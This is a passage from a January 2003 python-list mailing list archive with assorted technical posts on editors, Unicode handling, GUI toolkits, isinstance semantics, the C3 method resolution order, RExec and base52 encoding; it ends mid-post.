> Martin Christensen wrote:
> >
[editors, endlessly, again]
>
> I'm sure they are highly effective for some people.  Not everyone
> has need of such a large slate of features.  In fact, over the years
> I've found I rely on fewer and fewer special functions in my editors,
> and at this point I am so independent of any specific editor that I
> find myself roughly as productive in any modern editor, using the tiny
> subset of its features that I do, and yet more productive (because of
> my approach to programming) than many other programmers.
>

You have, of course, neatly encapsulated many of the advantages of being an
old fart. Welcome to the club!

...and a Happy New Year to all my reader :0)

regards
-----------------------------------------------------------------------
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/
-----------------------------------------------------------------------






From tchur at optushome.com.au  Mon Jan 13 01:47:14 2003
From: tchur at optushome.com.au (Tim Churches)
Date: 12 Jan 2003 20:47:14 -1000
Subject: Psyco in pscientific pscribblings
In-Reply-To: <7xznq693r9.fsf@ruckus.brouhaha.com>
References: <33803989.0301120004.76e09b9a@posting.google.com> 
	<7xznq693r9.fsf@ruckus.brouhaha.com>
Message-ID: <1042440444.1279.18.camel@emilio>

More evidence of the magic which Psyco (http://psyco.sf.net) can work
can be found in the peer-reviewed biomedical research literature - see
under "Computational performance" in the Results section of
http://www.biomedcentral.com/1472-6947/2/9/

Tim C






From cgjunkaddr at attbi.com  Sun Jan 26 22:43:32 2003
From: cgjunkaddr at attbi.com (Chetan Gadgil)
Date: Mon, 27 Jan 2003 03:43:32 GMT
Subject: Update:KOBRA - .NET for Python
References: <6_XY9.47838$4y2.1983@sccrnsc04> <cor83v4ih1j852u8hd8gfsnqcahp07vgfo@4ax.com>
Message-ID: <EV1Z9.46095$eM6.94050@rwcrnsc51.ops.asp.att.net>

Sorry, I haven't done that yet...

Still missing are:
1) Direct access to attributes (currently only thru methods)
2) Direct access to properties

For now, I write wrapper classes where needed (actually not needed by me
that often).
Very often I can do:
x = createObject(...)
x.setX(10)
etc.
However, I am doing a major cleanup of my code and will include this
(attribute constructor) as an important enhancement.

Chetan


"Kyle Yancey" <kyle at lakeofburningfire.org> wrote in message
news:cor83v4ih1j852u8hd8gfsnqcahp07vgfo at 4ax.com...
> One question.  Is there any way to create an object with a
> constructor? I was trying one of the form examples in the .Net
> documentation.  How would I do this:  point1 = Point (10, 10);
>
> On Sun, 26 Jan 2003 20:58:42 GMT, "Chetan Gadgil"
> <cgjunkaddr at attbi.com> wrote:
>
> >Hi
> >
> >I have updated the library and documentation with some examples:
> >1) How to use XML apis from .NET
> >2) How to access .NET webservices dynamically from Python
> >3) Create Windows forms
> >
> >Coming soon:
> >
> >1) How to access COM objects from Python, without using win32com library.
> >(using only kobra .NET)
> >
> >This project is under constant development to increase usability and
improve
> >features.
> >
> >Thanks to GV Rossum for creating this superb language - Python and to
Mark
> >Hammond for his awe inspiring win32all.
> >
> >http://www.gadgil.net/DotNetWrapperForPython.htm
> >
> >Regards
> >Chetan
> >
>





From tundra at tundraware.com  Mon Jan 20 11:40:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 20 Jan 2003 16:40:07 GMT
Subject: Unicode error in exefied Python script
In-Reply-To: <m3lm1g42s6.fsf@mira.informatik.hu-berlin.de>
References: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de> <08cg0b.brr.ln@boundary.tundraware.com> <m3lm1g42s6.fsf@mira.informatik.hu-berlin.de>
Message-ID: <678h0b.4601.ln@boundary.tundraware.com>

Martin v. L?wis wrote:
> Tim Daneliuk <tundra at tundraware.com> writes:
> 
> 
>>        s += Name of a file
> 
> [...]
> 
>>I got the error you mentioned. After poking at it for a while, I
>>discovered that the Win32 API was returning *Unicode* strings, but all
>>my stuff was in ASCII. What was truly wierd about it is that the error
>>didn't get thrown until the last s += statement, even though the error
>>was introduced in the Win32Result statement. Python GURUS: Any idea why
>>this is??????
> 
> 
> Most likely, "Name of a file" was not an ASCII string, but a byte
> string containing non-ASCII characters. As s was already a Unicode
> object, that byte string was converted to Unicode, which failed.

Exactly right - So when concatenating strings like I did above,
Python always promotes the result to the 'higher' type?

> 
> You could also have solved this by writing
> 
>    s += unicode(Name of file, encoding that your operating system uses
>    for file names)


This too appears to work as you suggest.  Is there some portable way
to determine the codepage in use on Win32 and posix systems?


-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From blarson at crary.com  Thu Jan  9 15:32:16 2003
From: blarson at crary.com (Bradley D. Larson)
Date: Thu, 09 Jan 2003 14:32:16 -0600
Subject: GUI toolkits
References: <avfsc2$8ar$1@bob.news.rcn.net> <avjmg0$s03$03$1@news.t-online.com> <avkedn$h8n$1@bob.news.rcn.net>
Message-ID: <3E1DDC50.C347FCC2@crary.com>

The GNUe (GNU Enterprise Project) selected python and wxwindows/wxpython for the
following reasons...

          http://www.gnuenterprise.org/faq.html#GNUe-FAQ-2.11

morden wrote:

> Thomas Guettler wrote:
>
> > morden schrieb:
> >
> > > Is there info availbale somewhere on the relative merits of tkinter
> > > vs. pyGnome?
> >
> >
> > I think comparing these makes no sense. Tkinter is for developing GUIs
> > while Gnome is a desktop environment.
> >
> > You could compare tkinter, pyGtk and wxPython with each other.
>
> I've meant Tkinter and pyGtk. But I see by now what Tkinter more popular
> so I'll try to give it a try first.
>
> >
> > There are comparisons available, but I have no ULR right now.
> >
> > May favorit, if you want to develop for win32 and unix is wxPython.
>
> Ok. I have a luxury to not care about win32 at this point.
> And Tkinter seem to work on it also anyhow. Any selling points
> for wxPython compared to Tkinter that you'd care to mention?
>
> --
> http://mail.python.org/mailman/listinfo/python-list
-------------- next part --------------
A non-text attachment was scrubbed...
Name: blarson.vcf
Type: text/x-vcard
Size: 400 bytes
Desc: Card for Bradley D. Larson
URL: <http://mail.python.org/pipermail/python-list/attachments/20030109/0e7d16f0/attachment.vcf>

From sholden at holdenweb.com  Thu Jan 16 18:39:42 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Thu, 16 Jan 2003 23:39:42 GMT
Subject: Is PY patching a problem (esp. on Windows)
References: <BIrV9.227$Td6.107695248@newssvr13.news.prodigy.com> <mailman.1042720592.21380.python-list@python.org> <zQAV9.95$TW3.13205669@newssvr17.news.prodigy.com>
Message-ID: <2pHV9.5917$YI5.3006@news2.central.cox.net>

"Dennis Reinhardt" <DennisR at dair.com> wrote in message
news:zQAV9.95$TW3.13205669 at newssvr17.news.prodigy.com...
> > Just remove all your pyc files as part of the update/install process.
> That is another work-around for PY <-> PYC out of date.
>
> >You shouldn't ship pyc's anyway.
> The scenario I constructed was the simplest possible update, PY files
inside
> a ZIP file.  In such case, I think the PYC needs to be shipped in order to
> overwrite what is on the user system.
>
That won't fl;y if the Python version isn't compatible: the .pyc file format
changes witht he virtual machine bytecodes, you know.

> In general, yes, it is highly desirable to ship PY or PYC files, but not
> both.
>
?
> > I occasionally go through and wipe out all my py[co] files
> I find I do it often just to reduce file clutter in my development
> directories.  It would sure be nice to have a way to avoid generating them
> in the first place.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From martin at v.loewis.de  Fri Jan  3 11:03:02 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 03 Jan 2003 17:03:02 +0100
Subject: how to extract source code from code objects ?
In-Reply-To: <2259b0e2.0301030725.93d18c9@posting.google.com>
References: <2259b0e2.0301020814.2cbeb25c@posting.google.com> <mailman.1041525363.20935.python-list@python.org> <2259b0e2.0301030725.93d18c9@posting.google.com>
Message-ID: <3E15B436.10101@v.loewis.de>

Michele Simionato wrote:
> I was hoping for a more built-in solution, as for instance
> an attribute .co_source in code objects. I guess this would be
> inefficient for memory consumption or for other technical reasons.

Can you please explain why you are hoping for a builtin solution?

> My original problem was to convert back to source an AST object
> generated with the parser module. Since parser.st objects can be converted 
> to code objects, I asked how to extract source code from code objects.
> It seems that there is no simple built-in way of doing that (decompyle
> is a few thousands of lines of not so simple Python code).

Generating source from an AST object is much simpler than generating 
source from byte code. However, I still wonder where the need comes from 
in the first place: If you have just created the AST, you surely still 
have a copy of the source code around.

> I guess the reason why there is no standard way to extract the source
> from AST objects is that their implementation (can) change with new
> version of Python, therefore there would be a maintanance issue
> (as it happens with decompyle). Am I correct ?

No. There is no way to do that because nobody ever wanted to do it (or 
atleast no frequently enough to contribute a solution to the standard 
library). If such a thing would be contributed then you are right: there 
would be a maintenance issue. So any volunteer to contribute that 
feature would also need to volunteer to maintain it.

In Python itself, this entire issue is solved more pragmatically: When 
you need the source (e.g. for a traceback), you look at the line number, 
locate the source file, and print the relevant lines.

Regards,
Martin




From mongo57a at comcast.net  Mon Jan 20 16:00:15 2003
From: mongo57a at comcast.net (mongo57a at comcast.net)
Date: Mon, 20 Jan 2003 21:00:15 GMT
Subject: Pmw and BLT
Message-ID: <3e2c4761_1@binarykiller.newsgroups.com>

Pulling out what little hair I have left trying to get Blt to work!

After installing the latest Pmw, I installed Blt2.4z. I followed the
instructions and I believe that everything was "made" successfully. If I
go into the Blt2.4z directory
(usr/lib/python2.2/site-packages/Pmw/Blt2.4z/demos/) and execute the Tcl
demo (./graph1.Tcl), it works.

However, when I try to execute BltGraph.py
(/usr/lib/python2.2/Pmw_1_1/demos/), I get the message box "BLT Package
has not been installed on this system".

As far as I can see, the package was built successfully with only a few
warnings here and there. Anyone know what might be wrong? Do I need to add
something to my path? or
modify a Python variable?

TIA

Andy


-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From tjreedy at udel.edu  Wed Jan  1 12:54:28 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 1 Jan 2003 12:54:28 -0500
Subject: compare types?
References: <20021231000325.15f925c6.Ken@perfect-image.com>	<001301c2b09c$c51bb7b0$21795418@dell1700> <mailman.1041320765.10859.python-list@python.org> <3353cd1e.0301010810.13521eb3@posting.google.com>
Message-ID: <TY6dnU4DIus4uo6jXTWc3Q@comcast.com>

> does anyone know if it is possible to use isinstance() to recognise
a list?

>>> isinstance([],list)
1

For questions like this, fire up the interactive interpreter (or keep
one on your task bar) and try it out.  Quicker than posting.  The
possibility of doing this so easily is one of Python's great features!

Terry J. Reedy





From wyojustin at hotmail.com  Wed Jan 22 07:31:30 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Wed, 22 Jan 2003 07:31:30 -0500
Subject: dynamic variables; globals
References: <3E2E8A95.FE285970@ncsa.uiuc.edu>
Message-ID: <xpadnc5RPK65ErOjXTWc3g@comcast.com>

> Style & security notwithstanding, is there some way to add a dynamic
> variable to the globals list?

Quick answer:

>>> def func(sarg):
             exec(sarg, globals())

>>> func('foo=11')
>>> func('print foo')
11

Justin Shaw






From mwh at python.net  Sat Jan 18 13:20:28 2003
From: mwh at python.net (Michael Hudson)
Date: Sat, 18 Jan 2003 18:20:28 GMT
Subject: isinstance is broken
References: <2259b0e2.0301180850.7421e446@posting.google.com>
Message-ID: <7h3n0lyl3pf.fsf@pc150.maths.bris.ac.uk>

mis6 at pitt.edu (Michele Simionato) writes:

> There are inconsistencies in "isinstance".
> 
> Example 1:
> 
> >>> isinstance(int,object)
> 1
> 
> gives no error message. I don't like it, an error should be
> raised.

Heck, no.  'int' is an instance of 'type'; 'type' is a subclass of
object.

> There is issubclass for that job:
> 
> >>> issubclass(int,object)
> 1

Asking a different question.

            [object]
             /    \
  (subclass)/      \(subclass)
           /        \
          /          \
       [int]=======[type]
           (instance)

> Example 2 
> 
> >>> class C: pass #does *not* inherit from object
> >>> c=C() 
> >>> isinstance(c,object) #???
> 1
> 
> It is clear that c is *not* an instance of class object: 

Yes it is: c is of type instance; instance is a subtype of object.

->> type(c)
<type 'instance'>
->> type(c).__bases__
(<type 'object'>,)

Here type(c) != c.__class__, one of the awkwardnesses that the
type/class unification removes.

> for example it doesn't have the __new__ attribute:
> 
> >>> c.__new__
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> AttributeError: C instance has no attribute '__new__'

However:

->> type(c).__new__
<built-in method __new__ of type object at 0x80f2380>

Objects/classobject.c:instance_getattr looks in c.__class__.

This function isn't much use, it seems.

> Moreover, on a related note:
> 
> >>> import re
> >>> reobj=re.compile('x')
> >>> isinstance(reobj,object)
> 1
> >>> reobj.__new__
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> AttributeError: __new__
> 
> but regular expression objects are *not* instances of object (this is
> also documented).

This is more or less the same as before.

> I wonder if there is a plan to make regular expression 
> objects regular objects in the near future

Not aware of any.

> For the moment, of course I can use
> 
> class RE(object):
>   def __init__(self,regexp):
>       reobj=re.compile(regexp) 
>       for attr in dir(reobj):
>           setattr(self,attr,getattr(reobj,attr))
> 
> REobj=RE('x')
> REobj.__new__
> <built-in method __new__ of type object at 0x80e6280>
> 
> Should I interpret the fact that isinstance(something,object) always returns
> true as a bug or is it intentional ?

Unavoidable would be my word.

Cheers,
M.

-- 
  ARTHUR:  Yes.  It was on display in the bottom of a locked filing
           cabinet stuck in a disused lavatory with a sign on the door
           saying "Beware of the Leopard".
                    -- The Hitch-Hikers Guide to the Galaxy, Episode 1



From ykingma at accessforall.nl  Fri Jan 24 12:40:35 2003
From: ykingma at accessforall.nl (Ype Kingma)
Date: Fri, 24 Jan 2003 18:40:35 +0100
Subject: Using Java from Python: jpe
References: <mailman.1043375742.26909.python-list@python.org> <3e30f793$0$128$e4fe514c@dreader5.news.xs4all.nl> <cf0ad9fb.0301240643.613aeff9@posting.google.com>
Message-ID: <3e31800b$0$153$e4fe514c@dreader9.news.xs4all.nl>

Jesper Olsen wrote:

> Ype Kingma <ykingma at accessforall.nl> wrote in message
> news:<3e30f793$0$128$e4fe514c at dreader5.news.xs4all.nl>...
>> Mongryong wrote:
>> 
>> > Is it possible to write a Python 'c' module that executes Java code?
>> > Or,
>> 
>> Yes.
>> 
>> > is there a way to integrate Jython with Python without having to spawn
>> > a new process?
>> 
>> You might be interested in the java python extension:
>> http://sourceforge.net/projects/jpe
>> 
> So have you used this project, and are you recommending it?

When I tried it (over a year ago), it failed because of some
library problem with my Linux distribution, and I was not
interested enough to go further.

> Something like this would be extremely useful, but the last update to
> jpe seems to be from 2001. I'd say it's dead.

I agree about the usefulness. Declaring it dead without even knowing
how (well) it works is not really fair I think. And with enough
interest it might get some new contributions, which is why
I mentioned it.

Regards,
Ype

-- 
email at xs4all.nl



From a.schmolck at gmx.net  Thu Jan 23 18:05:03 2003
From: a.schmolck at gmx.net (Alexander Schmolck)
Date: 23 Jan 2003 23:05:03 +0000
Subject: Is there really a default source encoding?
In-Reply-To: <005c01c2c32c$b7180fe0$21795418@dell1700>
References: <005c01c2c32c$b7180fe0$21795418@dell1700>
Message-ID: <yfsr8b3zcv4.fsf@black132.ex.ac.uk>

Brian Quinlan <brian at sweetapp.com> writes:

 
> UTF-8 is certainly not "anglo-neutral". It is often prohibitively
> expensive to encode Japanese and Chinese text in UTF-8 (UTF-16 is much
> more popular).

I think you misread ("anglo-neutral" == doesn't bother english speakers ==
ascii upwards compatible).

> > Great. Only are you sure that BOMs are such a great idea?
> 
> I don't really care about how screwed-up Unix Unicode handling is. The

This luxury of indifference is limited to those who limit themselves to
Windows or English.

> > I don't pretend to be a great unicode expert and maybe the above is
> > outdated, flawed, irrelevant or whatever, but it still isn't clear to 
> > me why .py files (with or without BOM) shouldn't just be assumed to 
> > be utf-8 (after the transitory latin-1 period), BOM or no BOM (and my
> > cursory rereading of pep-263 didn't make it clear to me either).
> 
> I wouldn't object to this but I don't see it as a major issue. 

No, it isn't -- a very minor wart at most.

alex





From mis6 at pitt.edu  Fri Jan 10 17:53:26 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 10 Jan 2003 14:53:26 -0800
Subject: The Python 2.3 Method Resolution Order
Message-ID: <2259b0e2.0301101453.101e81bf@posting.google.com>

I learned from the recent thread on multimethods that the method resolution 
order has changed in Python 2.3. Now Python follows the so-called C3 
linearization described in the Dylan paper 

  http://www.webcom.com/haahr/dylan/linearization-oopsla96.html

However, that paper is not so clear (for non-lispers, at least) therefore 
I thought it was useful to write down few examples to teach how the C3 
linearization works. They can be found on

  http://www.phyast.pitt.edut/~micheles/python.html

I welcome comments and observations.

--
Michele Simionato - Dept. of Physics and Astronomy
210 Allen Hall Pittsburgh PA 15260 U.S.A.
Phone: 001-412-624-9041 Fax: 001-412-624-9163
Home-page: http://www.phyast.pitt.edu/~micheles/



From yaipa at yahoo.com  Mon Jan 13 01:30:43 2003
From: yaipa at yahoo.com (yaipa h.)
Date: 12 Jan 2003 22:30:43 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] MinimalPython project)
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042428982.26240.python-list@python.org>
Message-ID: <6e07b825.0301122230.7ad88822@posting.google.com>

A couple of questions.

1. How close will this new python track the cpython 
   distribution?
2. This new python could be a REALLY cool embedded language.
   How likely is this to happen?

Cheers.

-Alan Haffner

"Paul Swartz" <z3p at twistedmatrix.com> wrote in message news:<mailman.1042428982.26240.python-list at python.org>...
> On 13 Jan 2003 at 4:17, Christian Tismer wrote:
> 
> > Bengt Richter wrote:
> > > At 03:39 2003-01-13 +0100, Christian Tismer wrote:
> > > [...]
> > > 
> > >>At the same time, as much as possible should become
> > >>pluggable. It will be possible to have MiniPy
> > > 
> > > [...]
> > > 
> > > Is "MiniPy" the official name ?
> > 
> > No.
> > There is no official name, yet.
> > For some time, I was thinking of
> > "Lilipyt".
> > "Ptn" was the first thought, while
> > not sounding very sexy just expressing brevity.
> > "Pippy" is already occupied.
> > "Minipy"? Well, there are so many "py" projects,
> > this makes it hard to come up with a good new name.
> > 
> > While a name is most unimportant for me,
> > I agree that it *is* important for the
> > community to be able to spell it.
> 
> Well, 'Jython' is in Java, 'CPython' is C, why 
> not, 'PyPython' or 'Pyython'?
> 
> -p



From max at alcyone.com  Thu Jan 23 19:58:26 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 23 Jan 2003 16:58:26 -0800
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
Message-ID: <3E308FB2.2A56CC53@alcyone.com>

Michael Tiller wrote:

> I'm puzzled by what seems like a missing piece of functionality in
> Python.
> I suspect there is a simple way to do what I want to do and I'm
> guessing
> someone here can point it out to me.  Here is the issue:
> 
> In C++, I could write a statement like this:
> 
> if (match=re.match(pattern, string))
>   // do something with the match object
> 
> But I cannot figure out how to do the equivalent thing in Python.

You cannot (without winning obfuscation contests, anyway).  Assignment
is a statement, and if expects expressions.  This was done as a
deliberate act to avoid the common newbie mistake in C or C++ of writing

	if (a = b) ...

when you meant

	if (a == b) ...

Whether or not you agree with the philosophy behind the decision, it's
in the language.  The Pythonic way to do the same thing is an assignment
and then a separate test:

	a = b
	if a: ...

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ An undevout astronomer is mad.
\__/ Edward Young
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From judoscript at hotmail.com  Fri Jan 10 00:34:48 2003
From: judoscript at hotmail.com (James Huang)
Date: 9 Jan 2003 21:34:48 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com> <b03e80d.0301070427.6db0ff67@posting.google.com> <52719db8.0301072113.3c143cfe@posting.google.com> <a8b7f07a.0301090641.2ed85213@posting.google.com>
Message-ID: <52719db8.0301092134.12b07ce2@posting.google.com>

alloydflanagan at attbi.com (A. Lloyd Flanagan) wrote in message news:<a8b7f07a.0301090641.2ed85213 at posting.google.com>...
> judoscript at hotmail.com (James Huang) wrote in message news:<52719db8.0301072113.3c143cfe at posting.google.com>...
> > > and that really was the end of my brief interlude with judoscript. 
> > > 
> > > Sandy
> > 
> > So you went to the whitepaper, searched on "jython" in the browser and
> > finished your research (actually, search)? Doing a language is a huge
> > undertaking; it would indeed be ludicrous to start one without looking
> > around first.
> > 
> 
> I believe Sandy's main point was that the quotation makes no sense, at
> least in terms of understanding of Java, Python, and Jython's
> relationships.  If you don't understand Python, how can you argue
> Judoscript is better?
> You may have a good point in there somewhere, I just don't know what
> it is.

I should have made it clear that I focus on "scripting". Please refer
to my definition of "scripting" and scripting languages in 'JH-Grant
Edwards-JH-Dave Brueck-JH'. Thx.



From bokr at oz.net  Mon Jan  6 17:22:30 2003
From: bokr at oz.net (Bengt Richter)
Date: 6 Jan 2003 22:22:30 GMT
Subject: Simple encryption proposal. Comments ?
References: <BOMP9.5093$CG6.90311@news4.e.nsc.no> <mailman.1041211955.22409.python-list@python.org> <aZYP9.5185$CG6.93090@news4.e.nsc.no> <7xptrj8rr5.fsf@ruckus.brouhaha.com> <aurvdu$sqe$0@216.39.172.122> <8a6ba1da.0301020356.7916bc80@posting.google.com> <7xbs2zrbdf.fsf@ruckus.brouhaha.com> <av1g67$b3l$0@216.39.172.122> <7xlm23a99v.fsf@ruckus.brouhaha.com> <av2cu3$23j$0@216.39.172.122>
Message-ID: <avcvj6$imq$1@216.39.172.122>

On 2 Jan 2003 22:02:43 GMT, bokr at oz.net (Bengt Richter) wrote:

>On 02 Jan 2003 06:58:20 -0800, Paul Rubin <phr-n2002b at NOSPAMnightsong.com> wrote:
>
>>bokr at oz.net (Bengt Richter) writes:
>>> Thanks for posting, mine was in C++ and not so pretty (though fast enough ;-)
>>> 
>>> BTW, (untested)
>>> 
>>>     k1, k2, k3 = map(_inv_letters.__getitem__, x[i:i+3])
>>> 
>>> might be an interesting alternative to the list comprehension?
>>
>>I don't know, I wasn't really trying to make that function fast, I was
>>just playing around.  Base52 is a clever idea (I've gotten burned a
>>number of times by non-alphanumeric base64 characters needing escaping
>>for some purpose) so I wanted to try it.  A more serious
>>implementation should be done as a C patch to the binascii module.
>>
>Ok. Below is a diff. I haven't tested it extensively, and it is called binasciiXXX.c
>to kludge it into being an independently importable module for testing. I didn't
>rebuild python (2.2.2 on windows nt4) yet.
I did later, and I split out a base52x module that does more with the code space,
(see new thread on base52 for example ;-).
>
>It was linked with (just relinked for log) the following, which warns of my test kludging to
>make the DLL export the init name.
>
BTW, I don't know why I messed with DL_EXPORT in the source. Hope no one took that as a model
for how to do it right ;-/ The linker likes -export: just fine, as in a little handy command file
I use when I don't want to bother with the IDE.

====< mkpydll.cmd >=====
@cl -LD -nologo -Id:\python22\include %1.c -link -LIBPATH:D:\python22\libs -export:init%1
========================

Anyway, see what you think. The new base52 lets you include metadata
(or whatever you want to call it ;-)

Regards,
Bengt Richter



From exarkun at intarweb.us  Wed Jan 22 12:55:29 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Wed, 22 Jan 2003 12:55:29 -0500
Subject: r_exec vs. exec + globals
In-Reply-To: <3E2ED5AB.79CC61FE@ncsa.uiuc.edu>
References: <3E2ED5AB.79CC61FE@ncsa.uiuc.edu>
Message-ID: <20030122175529.GB7130@meson.dyndns.org>

On Wed, Jan 22, 2003 at 11:32:27AM -0600, Randy Heiland wrote:
> What's the RExec analog to doing   exec(stmt,globals())  ?  Or is it
> even possible to modify globals() when using RExec?
> 

  That would defeat the entire purpose of RExec.  What you might want is to
modify the dictionary being used inside RExec as the globals dictionary. 
But I think what you really want is a 'globals' declaration inside whatever
code you're running inside your (insecure) RExec.

  Jp
--
 12:00am up 37 days, 9:48, 2 users, load average: 0.36, 0.32, 0.27
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030122/f9c4177f/attachment.sig>

From martin at v.loewis.de  Sat Jan  4 17:04:25 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 04 Jan 2003 23:04:25 +0100
Subject: a new PEP?
References: <c09aca51.0301041334.f4c81d5@posting.google.com>
Message-ID: <m3bs2w1sie.fsf@mira.informatik.hu-berlin.de>

vm_usenet at yahoo.com (vm_usenet) writes:

> What I'm proposing is to dump the current approach of static/global
> variables in the python source and to make the python interpreter
> state-oriented. 

Please understand that this can't be achieved through a proposal: Many
existing C modules which are not part of the Python core use global
variables as well. Somebody will have to change those modules -
writing a PEP doesn't help.

> do_something_with_interpreter_on_first_thread(new_interpreter);
> do_something_with_interpreter_on_other_thred(yetanother_interpreter);

This hints to the real problem with the proposal: you would *always*
need access to current interpreter. That is, even calls like
PyInt_FromLong would need to receive the current interpreter - to
implement the feature that small integers are interned, using a global
table. Even a call like Py_DECREF would need the current interpreter,
since the destructor might need the interpreter.

It would also be difficult to deal with type objects: Would you want
type objects to be shared across interpreters, or would you want each
interpreter to have its own set of type objects? If the latter, how
would you create what now is a "static" type object?

> Is there any way I can post this proposal to the PEP list?

If you still think this is implementable, you should formulate this as
a proper PEP, i.e. writing down all API changes, and outlining an
implementation strategy. Then, you can submit it to the PEP editor.

> In case you're wondering why we should need such a feature - imagine
> an application powered by Python as an extension language - and then
> running two extensions in two different threads. Not so far-fetched,
> anyway...

With the current implementation strategy, this is not necessarily a
problem. The existing extension modules should cope with it just fine;
third-party (i.e. your) extension modules don't work correctly, they
need to be fixed.

Regards,
Martin



From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Sun Jan 26 07:49:44 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sun, 26 Jan 2003 13:49:44 +0100
Subject: Something like asynchronous XML-RPC possible?
In-Reply-To: <cb035744.0301260227.6890778c@posting.google.com>
References: <mailman.1043454645.26543.python-list@python.org>        <cb035744.0301250336.4f378943@posting.google.com>        <mailman.1043503544.26424.python-list@python.org>        <3e332d16$0$49106$e4fe514c@news.xs4all.nl> <mailman.1043542005.6078.python-list@python.org> <cb035744.0301260227.6890778c@posting.google.com>
Message-ID: <3e33d969$0$49100$e4fe514c@news.xs4all.nl>

Will Stuyvesant wrote:
> 2) Language interoperability.  Preferably using an international
> standard.  This is what XML-RPC is good at.  The whole thing will be
> based on components written in different languages (Python, C, Java,
> ...).  For now XML-RPC is even better than SOAP because the SOAP
> standard is fluctuating.

This rules Pyro out.
Pyro is only for Python (and possibly, in a limited way, for Java,
using Jython).

Irmen.




From steve at pSoPgAgMle.org  Mon Jan 13 07:41:54 2003
From: steve at pSoPgAgMle.org (Steve Hunt)
Date: Mon, 13 Jan 2003 12:41:54 -0000
Subject: How does a C API-function returns a list  to python
References: <3E21CB52.61543E67@imms.de> <avsmoa$nqp$06$1@news.t-online.com>
Message-ID: <1042461608.63732.0@iapetus.uk.clara.net>

> Try to avoid Py_BuildValue if you can. Instead, I recommend something
> like

Martin,

What are the issues with Py_BuildValue that make you
avoid using it?

Thanks

-- Steve






From max at alcyone.com  Sun Jan  5 21:04:46 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 05 Jan 2003 18:04:46 -0800
Subject: Can emacs support auto complete of python?
References: <mailman.1041771677.3260.python-list@python.org>
	 <slrnb1gfvp.1ga.davecook@localhost.localdomain> 
	 <200301051439.h05Ed9jL024866@ratthing-b246.strakt.com> <mailman.1041812892.435.python-list@python.org>
Message-ID: <3E18E43E.AEBB0CBA@alcyone.com>

Andrew McGregor wrote:

> M-/, which looks like ALT-/ on most keyboards, is the default binding
> for
> dabbrev-expand :-)

On _some_ keyboards.  On a Sun keyboard, meta is a distinct key from
alt, for instance.  (Of course, on Intel machines, usually meta is
mapped to alt -- which is what you meant -- but sometimes it's mapped to
the otherwise useless Windows key.)

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Consistency is the last refuge of the unimaginative.
\__/ Oscar Wilde
    HardScience.info / http://www.hardscience.info/
 The best hard science Web sites that the Web has to offer.



From phr-n2003b at NOSPAMnightsong.com  Wed Jan 29 02:17:45 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 28 Jan 2003 23:17:45 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <7x1y2wzpr0.fsf@ruckus.brouhaha.com> <3E376CB6.D4A32AF2@alcyone.com> <7xbs208p11.fsf@ruckus.brouhaha.com> <3E377509.6376A031@alcyone.com> <7xsmvcl9gs.fsf@ruckus.brouhaha.com>
Message-ID: <7xadhk77c6.fsf@ruckus.brouhaha.com>

Paul Rubin <phr-n2003b at NOSPAMnightsong.com> writes:
> The author of mxCrypto just posted that he sees a need

Oops, I meant M2Crypto.  Sorry.



From tim at nowhere.com  Tue Jan 21 04:52:25 2003
From: tim at nowhere.com (TimC)
Date: Tue, 21 Jan 2003 09:52:25 +0000
Subject: jythonc and xml parser
In-Reply-To: <3e2d0192$0$137$e4fe514c@dreader4.news.xs4all.nl>
References: <3e2c7f97$0$246$cc9e4d1f@news.dial.pipex.com> <3e2d0192$0$137$e4fe514c@dreader4.news.xs4all.nl>
Message-ID: <3e2d1859$0$235$ed9e5944@reading.news.pipex.net>

Ype Kingma wrote:
> Tim wrote:
> 
> 
>>Hullo
>>Has anyone managed to get an xml parser to work with jythonc?
>>the simple program:
>>from xml.sax import make_parser
>>
>>parser = make_parser()
>>
